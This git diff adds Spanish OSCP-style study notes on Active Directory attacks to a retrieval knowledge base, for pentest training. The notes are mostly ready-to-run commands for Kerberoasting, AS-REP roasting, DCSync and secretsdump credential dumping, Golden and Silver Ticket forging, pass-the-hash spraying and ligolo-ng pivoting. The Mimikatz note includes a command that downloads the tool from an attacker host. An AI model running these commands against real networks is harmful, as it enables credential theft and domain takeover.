saber: pack de metodologia publico (conocimiento/) + doc del RAG

El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP,
scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya
sabe de enumeracion, explotacion web, shells, privesc, Active Directory,
cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.

nucleo/saber/conocimiento/05 - Active Directory/ACL abuses.md

@@ -0,0 +1,25 @@
+# ACL abuses
+
+> Permisos mal configurados sobre objetos de AD que te dejan escalar. **BloodHound te los pinta** como aristas. Camino de Active Directory.
+
+## Las aristas peligrosas
+```
+GenericAll          → control total sobre el objeto
+WriteDACL           → te das a ti mismo cualquier permiso
+AddMember           → te metes en un grupo (ej. Domain Admins)
+ForceChangePassword → cambias la pass de otro usuario sin saber la actual
+GenericWrite        → modificar atributos (ej. añadir SPN → Kerberoasting dirigido)
+```
+
+## Explotación típica (con bloodyAD / PowerView / impacket)
+```bash
+# ForceChangePassword:
+net rpc password "victima" "NuevaPass123!" -U "dominio/yo%mipass" -S DC_IP
+# AddMember a un grupo:
+bloodyAD -d corp.local -u yo -p pass --host DC add groupMember "Domain Admins" yo
+```
+
+## Encadenado
+Una arista lleva a otra → BloodHound calcula el **camino** hasta Domain Admins → puede acabar en DCSync.
+
+Relacionado: BloodHound · LAPS · OSCP MOC

nucleo/saber/conocimiento/05 - Active Directory/AS-REP Roasting.md

@@ -0,0 +1,22 @@
+# AS-REP Roasting
+
+> Usuarios con **"Do not require Kerberos pre-authentication"** → pides su AS-REP y crackeas el hash, **sin necesitar credenciales**. Camino de Active Directory.
+
+## Ataque
+```bash
+# con lista de usuarios (sesión nula / enum previa con SMB):
+impacket-GetNPUsers dominio/ -usersfile users.txt -no-pass -dc-ip IP
+# con credenciales (enumera y pide a la vez):
+impacket-GetNPUsers dominio/usuario:password -request -dc-ip IP
+```
+
+## Crackeo offline
+```bash
+hashcat -m 18200 hashes.txt rockyou.txt
+```
+
+## Diferencia con Kerberoasting
+- **AS-REP** = usuarios SIN pre-auth → **no necesitas password** para pedir el hash.
+- **Kerberoasting** = cuentas de servicio (SPN) → necesitas una credencial válida.
+
+Relacionado: Cracking de contraseñas · Kerberoasting · Kerberos · Impacket · OSCP MOC

nucleo/saber/conocimiento/05 - Active Directory/Active Directory.md

@@ -0,0 +1,34 @@
+# Active Directory (índice)
+
+> El **set de AD = 40 puntos** del examen (3 máquinas encadenadas). Ver Estructura del examen.
+> Idea clave: tu Kali no tiene GUI central; cada tool (Impacket, Mimikatz, BloodHound) habla por red con la víctima. Ver Puesto de mando Kali.
+
+## La cadena de ataque típica
+```
+1) RCE en web → Reverse shell en USER1
+2) PEASS-ng → privesc → SYSTEM en USER1   (Privesc Windows / Potato attacks)
+3) Mimikatz → hash NTLM de un usuario de dominio
+4) BloodHound → ¿camino a Domain Admin?
+5) Pass-the-Hash / Impacket → shell en SERVER2  (Movimiento lateral)
+6) si SERVER2 = DC → secretsdump → toda la BD del dominio
+7) hash de krbtgt → Golden Ticket → dios
+```
+
+## Los 7 caminos que SIEMPRE pruebas
+1. **Anonymous SMB** → SMB (`smbclient -L //IP -N`, `nxc smb IP -u "" -p ""`)
+2. **AS-REP Roasting** → AS-REP Roasting
+3. **Kerberoasting** → Kerberoasting
+4. **GPP cpassword** → GPP cpassword
+5. **LAPS** → LAPS
+6. **ACL abuses** → ACL abuses (te los pinta BloodHound)
+7. **DCSync** → DCSync
+
+## Conceptos
+- Kerberos (TGT/TGS) · Pass-the-Hash · Golden Ticket · Silver Ticket
+- Crackear los tickets → Cracking de contraseñas
+- Entrar a la red interna → Pivoting ligolo-ng / Tunneling
+
+## Herramientas
+NetExec/CrackMapExec, BloodHound, Rubeus, Kerbrute, Responder, Evil-WinRM, Impacket → Herramientas (índice).
+
+Relacionado: OSCP MOC

nucleo/saber/conocimiento/05 - Active Directory/BloodHound.md

@@ -0,0 +1,32 @@
+# BloodHound
+
+> Dibuja Active Directory **como un grafo**: nodos = usuarios/grupos/máquinas, aristas = relaciones. Le preguntas "¿camino más corto de juan a Domain Admins?" y te lo pinta. La única tool con GUI propia.
+
+## Componentes
+```
+SharpHound (.exe en víctima)  o  bloodhound-python (en Kali)  →  JSON
+JSON  →  BloodHound GUI (en Kali)  +  Neo4j (la BD del grafo)
+```
+
+## Instalación (Debian)
+```bash
+sudo apt install -y bloodhound bloodhound.py neo4j
+sudo systemctl start neo4j
+sudo neo4j-admin set-initial-password 'BloodHound1!'
+```
+
+## Workflow
+```bash
+# 1) recolectar desde Kali (necesitas creds válidas)
+bloodhound-python -u juan -p 'Password1' -d corp.local -ns 10.10.10.10 -c All
+# 2) lanzar GUI y arrastrar los .json
+bloodhound      # login neo4j / BloodHound1!
+```
+
+## Queries que importan
+- **Find Shortest Paths to Domain Admins**
+- **Find Kerberoastable Accounts** → Kerberoasting
+- **Find AS-REP Roastable Users** → AS-REP Roasting
+- Aristas peligrosas (`GenericAll`, `WriteDACL`, `ForceChangePassword`) → ACL abuses
+
+Relacionado: Mimikatz · Movimiento lateral · OSCP MOC

nucleo/saber/conocimiento/05 - Active Directory/DCSync.md

@@ -0,0 +1,22 @@
+# DCSync
+
+> Con permisos de **replicación de directorio** (DS-Replication-Get-Changes), pides al DC que te "replique" los hashes **como si fueras otro DC**. No necesitas pisar el DC.
+
+## Cómo se llega
+- Un usuario con esos derechos (te lo dice BloodHound: arista `DCSync` / `GetChangesAll`).
+- O un ACL abuses que te conceda esos derechos.
+
+## Ataque
+```bash
+impacket-secretsdump dominio/usuario:password@DC_IP   # → ver secretsdump
+```
+```
+# o desde mimikatz en una máquina del dominio:
+lsadump::dcsync /user:Administrator
+lsadump::dcsync /user:krbtgt        # ← el premio gordo
+```
+
+## Por qué importa
+El hash de **krbtgt** → Golden Ticket = control total y persistente del dominio.
+
+Relacionado: Mimikatz · Impacket · Active Directory · OSCP MOC

nucleo/saber/conocimiento/05 - Active Directory/GPP cpassword.md

@@ -0,0 +1,20 @@
+# GPP cpassword
+
+> Group Policy Preferences que guardaban contraseñas cifradas con una **clave AES pública y fija** (Microsoft la publicó). Trivial de descifrar. Uno de los 7 caminos de Active Directory.
+
+## Dónde buscar
+```
+\\DC\SYSVOL\<dominio>\Policies\...\Groups.xml
+```
+Busca el atributo `cpassword` en `Groups.xml` (también en `Services.xml`, `ScheduledTasks.xml`, `Datasources.xml`).
+
+## Descifrar
+```bash
+gpp-decrypt 'CPASSWORD_AQUI'
+```
+- Accedes a SYSVOL vía SMB (a menudo con sesión nula o cualquier user de dominio).
+
+## Resultado
+Credenciales en claro → Movimiento lateral / Pass-the-Hash.
+
+Relacionado: SMB · OSCP MOC

nucleo/saber/conocimiento/05 - Active Directory/Golden Ticket.md

@@ -0,0 +1,22 @@
+# Golden Ticket
+
+> Con el hash de **krbtgt** forjas tu propio TGT → eres **cualquiera** (incluso un Domain Admin inexistente), para siempre. Cima de Active Directory.
+
+## Requisito
+Hash NTLM de la cuenta **krbtgt** → se obtiene con DCSync o secretsdump sobre el DC.
+
+## Forjar
+```bash
+impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain corp.local Administrator
+export KRB5CCNAME=Administrator.ccache
+impacket-psexec -k -no-pass corp.local/Administrator@dc.corp.local
+```
+```
+# mimikatz equivalente:
+kerberos::golden /user:Administrator /domain:corp.local /sid:S-... /krbtgt:HASH /ptt
+```
+
+## Concepto
+krbtgt firma **todos** los TGT (Kerberos). Si controlas su hash, firmas tickets válidos a voluntad → persistencia total.
+
+Relacionado: Silver Ticket · DCSync · Pass-the-Hash · OSCP MOC

nucleo/saber/conocimiento/05 - Active Directory/Impacket.md

@@ -0,0 +1,26 @@
+# Impacket
+
+> Suite **Python que corre en TU Kali**. Habla los protocolos de Windows (SMB, RPC, Kerberos) sin ser Windows. Es como tener un "Windows hablante" en Kali.
+
+## Los más útiles
+```
+impacket-psexec        → shell en la víctima si tienes creds (estilo PsExec)
+impacket-wmiexec       → ejecutar comandos sin tocar disco
+impacket-smbexec       → otra ejecución remota
+impacket-secretsdump   → vuelca NTDS.dit y SAM de un DC en remoto → secretsdump
+impacket-GetUserSPNs   → Kerberoasting
+impacket-GetNPUsers    → AS-REP Roasting
+impacket-getTGT        → pide/forja un TGT con cred conocida
+impacket-getST         → pide un service ticket
+impacket-smbserver     → share SMB falso para exfiltrar a Kali (Transferencia de ficheros)
+impacket-ntlmrelayx    → relay NTLM
+impacket-ticketer      → forja tickets → Golden Ticket
+```
+
+## Lateral con hash (sin reverse shell nueva)
+```bash
+impacket-psexec -hashes :NTLMHASH 'admin@10.10.10.20'
+```
+Shell SYSTEM en otra máquina, autenticado y limpio → Pass-the-Hash, Movimiento lateral.
+
+Relacionado: Mimikatz · Active Directory · OSCP MOC

nucleo/saber/conocimiento/05 - Active Directory/Kerberoasting.md

@@ -0,0 +1,22 @@
+# Kerberoasting
+
+> Pides el **TGS** de cuentas de servicio (las que tienen **SPN**) y crackeas su hash offline. Uno de los 7 caminos de Active Directory.
+
+## Requisito
+Cualquier credencial **válida** de dominio (un user cualquiera).
+
+## Ataque
+```bash
+impacket-GetUserSPNs dominio/usuario:password -dc-ip IP -request
+# → te devuelve hashes TGS (Kerberos 5 TGS-REP, $krb5tgs$)
+```
+
+## Crackeo offline
+```bash
+hashcat -m 13100 hashes.txt rockyou.txt
+```
+
+## Por qué funciona
+El TGS va cifrado con el hash de la cuenta de servicio (Kerberos). Si su password es débil → crackeo → credencial nueva → Movimiento lateral.
+
+Relacionado: Cracking de contraseñas · AS-REP Roasting · Impacket · BloodHound · OSCP MOC

nucleo/saber/conocimiento/05 - Active Directory/Kerberos.md

@@ -0,0 +1,25 @@
+# Kerberos
+
+> El protocolo de autenticación de Active Directory. Entender TGT vs TGS desbloquea media AD.
+
+## En 30 segundos
+```
+Usuario --(¿pwd?)--> KDC (Domain Controller)
+Usuario <--(TGT: "carnet maestro")-- KDC
+Usuario --(TGT + "quiero \\fileSrv")--> KDC
+Usuario <--(TGS: ticket para fileSrv)-- KDC
+Usuario --(TGS)--> fileServer  "este ticket prueba que soy yo"
+```
+
+## Conceptos
+- **TGT** = carnet maestro del KDC. Lo guarda el cliente.
+- **TGS** = ticket de un servicio concreto.
+- **krbtgt** = la cuenta que **firma TODOS los TGT**.
+
+## Por qué importa (los ataques)
+- Reutilizar un TGT/TGS válido = **pass-the-ticket**.
+- Pedir TGS de cuentas con SPN sin tenerlas = Kerberoasting.
+- Usuarios sin pre-auth = AS-REP Roasting.
+- Hash de **krbtgt** = forjar Golden Ticket (ser cualquiera, para siempre).
+
+Relacionado: Impacket · Mimikatz · OSCP MOC

nucleo/saber/conocimiento/05 - Active Directory/LAPS.md

@@ -0,0 +1,19 @@
+# LAPS
+
+> Local Administrator Password Solution: rota la pass del admin local y la guarda en un atributo del objeto-equipo en AD. Si tu usuario **puede leer ese atributo**, tienes el admin local. Camino de Active Directory.
+
+## Leer la password
+```bash
+nxc ldap IP -u usuario -p password --module laps
+# o:
+nxc ldap IP -u usuario -p password -M laps
+```
+- El atributo es `ms-Mcs-AdmPwd` (LAPS v1).
+
+## Cómo saber quién puede leerlo
+BloodHound muestra `ReadLAPSPassword` como arista → relacionado con ACL abuses.
+
+## Resultado
+Password de admin local de esa máquina → Movimiento lateral / RDP.
+
+Relacionado: BloodHound · OSCP MOC

nucleo/saber/conocimiento/05 - Active Directory/Mimikatz.md

@@ -0,0 +1,26 @@
+# Mimikatz
+
+> Un **.exe que corre DENTRO de la víctima Windows** (no en Kali). Lee la memoria de **LSASS** y vuelca credenciales. En `tu carpeta`.
+
+## Subir y ejecutar
+```powershell
+iwr http://TU_IP/mimikatz/x64/mimikatz.exe -OutFile C:\Windows\Temp\m.exe   # Transferencia de ficheros
+C:\Windows\Temp\m.exe
+```
+
+## Comandos clave (dentro de mimikatz)
+```
+privilege::debug                         # imprescindible primero
+sekurlsa::logonpasswords                 # hashes NTLM, tickets, a veces pass en claro (wdigest)
+lsadump::sam                             # SAM local
+lsadump::dcsync /user:Administrator      # DCSync (si tienes permisos de replicación)
+```
+
+## Requisito
+Necesitas ser **admin/SYSTEM** en la máquina (Privesc Windows / Potato attacks).
+
+## Después
+- Hash NTLM → Pass-the-Hash / Impacket → Movimiento lateral.
+- Pregúntale a BloodHound qué hacer con ese usuario.
+
+Relacionado: Kerberos · secretsdump · OSCP MOC

nucleo/saber/conocimiento/05 - Active Directory/Movimiento lateral.md

@@ -0,0 +1,23 @@
+# Movimiento lateral
+
+> Saltar de una máquina a otra con credenciales/hashes obtenidos. Paso 5-6 de la cadena de Active Directory.
+
+## Con qué saltas
+```bash
+impacket-psexec  dominio/user:pass@10.10.10.20      # shell SYSTEM
+impacket-wmiexec dominio/user:pass@10.10.10.20      # sin tocar disco
+impacket-psexec  -hashes :NTLMHASH user@10.10.10.20 # Pass-the-Hash
+nxc smb 10.10.10.0/24 -u user -p pass               # ¿dónde valen estas creds?
+xfreerdp /u:user /p:pass /v:10.10.10.20             # RDP si hay GUI
+evil-winrm -i 10.10.10.20 -u user -p pass           # WinRM (5985)
+```
+
+## Regla clave
+**Reutiliza credenciales**: cada pass/hash que pillas → pruébalo contra **todos** los hosts y servicios (Metodología OSCP).
+
+## Decidir a dónde
+- BloodHound te dice qué usuario es admin dónde y el camino a Domain Admin.
+- Si llegas al DC → secretsdump / DCSync → Golden Ticket.
+- Red interna no enrutable → Pivoting ligolo-ng.
+
+Relacionado: Impacket · Mimikatz · OSCP MOC

nucleo/saber/conocimiento/05 - Active Directory/Pass-the-Hash.md

@@ -0,0 +1,22 @@
+# Pass-the-Hash
+
+> Te autenticas con el **hash NTLM** sin conocer la contraseña en claro. La base del Movimiento lateral en AD.
+
+## De dónde sale el hash
+- Mimikatz `sekurlsa::logonpasswords`
+- secretsdump (SAM/NTDS)
+- `lsadump::sam`
+
+## Uso
+```bash
+impacket-psexec  -hashes :NTLMHASH 'admin@10.10.10.20'   # → SYSTEM
+impacket-wmiexec -hashes :NTLMHASH 'admin@10.10.10.20'
+nxc smb 10.10.10.0/24 -u admin -H NTLMHASH               # spray del hash por la red
+```
+
+## Combos
+- **Reutilización**: prueba el hash/usuario contra **todos** los hosts (Metodología OSCP).
+- Password spraying: la misma pass de un user normal contra `administrator`, `sa`...
+- Hash de krbtgt → ya no es PtH, es Golden Ticket.
+
+Relacionado: Impacket · Movimiento lateral · OSCP MOC

nucleo/saber/conocimiento/05 - Active Directory/Pivoting ligolo-ng.md

@@ -0,0 +1,29 @@
+# Pivoting (ligolo-ng)
+
+> Entrar en una **red interna** no enrutable desde Kali, a través de una máquina comprometida. En `tu carpeta`.
+
+## El concepto
+```
+KALI 10.10.10.5 ── túnel ──> USER1 10.10.10.50 ── llega a ──> 192.168.5.0/24 (DC interno)
+```
+- **proxy** corre en Kali, **agent** en la víctima.
+- Añades una ruta y las tools tiran por el túnel **transparentemente**.
+
+## Montaje
+```bash
+# Kali (proxy):
+sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up
+./proxy -selfcert
+# Víctima (agent):
+./agent -connect TU_IP:11601 -ignore-cert
+# En la consola de ligolo: session → start ; luego en Kali:
+sudo ip route add 192.168.5.0/24 dev ligolo
+```
+
+## Resultado
+```bash
+impacket-psexec admin@192.168.5.10   # el tráfico va por el túnel, transparente
+```
+Ahora Movimiento lateral y Active Directory funcionan contra la red interna.
+
+Relacionado: Puesto de mando Kali · OSCP MOC

nucleo/saber/conocimiento/05 - Active Directory/Silver Ticket.md

@@ -0,0 +1,22 @@
+# Silver Ticket
+
+> Forjas un **TGS** para **un servicio concreto** usando el hash NTLM de **esa cuenta de servicio** (no del krbtgt). Más sigiloso que el Golden Ticket: **no habla con el DC**. Fuente: oscp.trastero.org/activedirectory.
+
+## Golden vs Silver
+```
+Golden Ticket → hash de krbtgt → TGT → CUALQUIER servicio del dominio (todopoderoso)
+Silver Ticket → hash del servicio (ej. cuenta del SQL/CIFS) → TGS → SOLO ese servicio
+```
+El Silver no toca el KDC → casi indetectable, pero limitado al servicio.
+
+## Forjar
+```bash
+impacket-ticketer -nthash <HASH_SERVICIO> -domain-sid S-1-5-21-... \
+  -domain corp.local -spn cifs/server.corp.local Administrator
+export KRB5CCNAME=Administrator.ccache
+impacket-psexec -k -no-pass corp.local/Administrator@server.corp.local
+```
+- El hash del servicio sale de Mimikatz / secretsdump (la cuenta de máquina o de servicio).
+- `-spn` define a qué servicio aplica (`cifs/`, `mssql/`, `http/`, `host/`...).
+
+Relacionado: Golden Ticket · Kerberos · Pass-the-Hash · OSCP MOC

nucleo/saber/conocimiento/05 - Active Directory/secretsdump.md

@@ -0,0 +1,26 @@
+# secretsdump (NTDS.dit / SAM)
+
+> `impacket-secretsdump` vuelca **todos los hashes** del dominio (NTDS.dit) o de una máquina (SAM/SYSTEM), en remoto o desde ficheros. Parte de Impacket.
+
+## Remoto contra un DC
+```bash
+impacket-secretsdump dominio/usuario:password@DC_IP
+impacket-secretsdump -hashes :NTLMHASH dominio/admin@DC_IP   # con Pass-the-Hash
+```
+Saca NTLM de **todos** los usuarios + el hash de **krbtgt** → Golden Ticket.
+
+## Offline (ficheros exfiltrados)
+```bash
+# exfiltras ntds.dit + SYSTEM con Transferencia de ficheros, luego:
+impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
+```
+
+## SAM local de una máquina
+```bash
+impacket-secretsdump -sam SAM -system SYSTEM LOCAL
+```
+
+## Cómo se obtienen permisos
+- Ser admin del DC, o derechos de replicación → DCSync.
+
+Relacionado: Mimikatz · Active Directory · OSCP MOC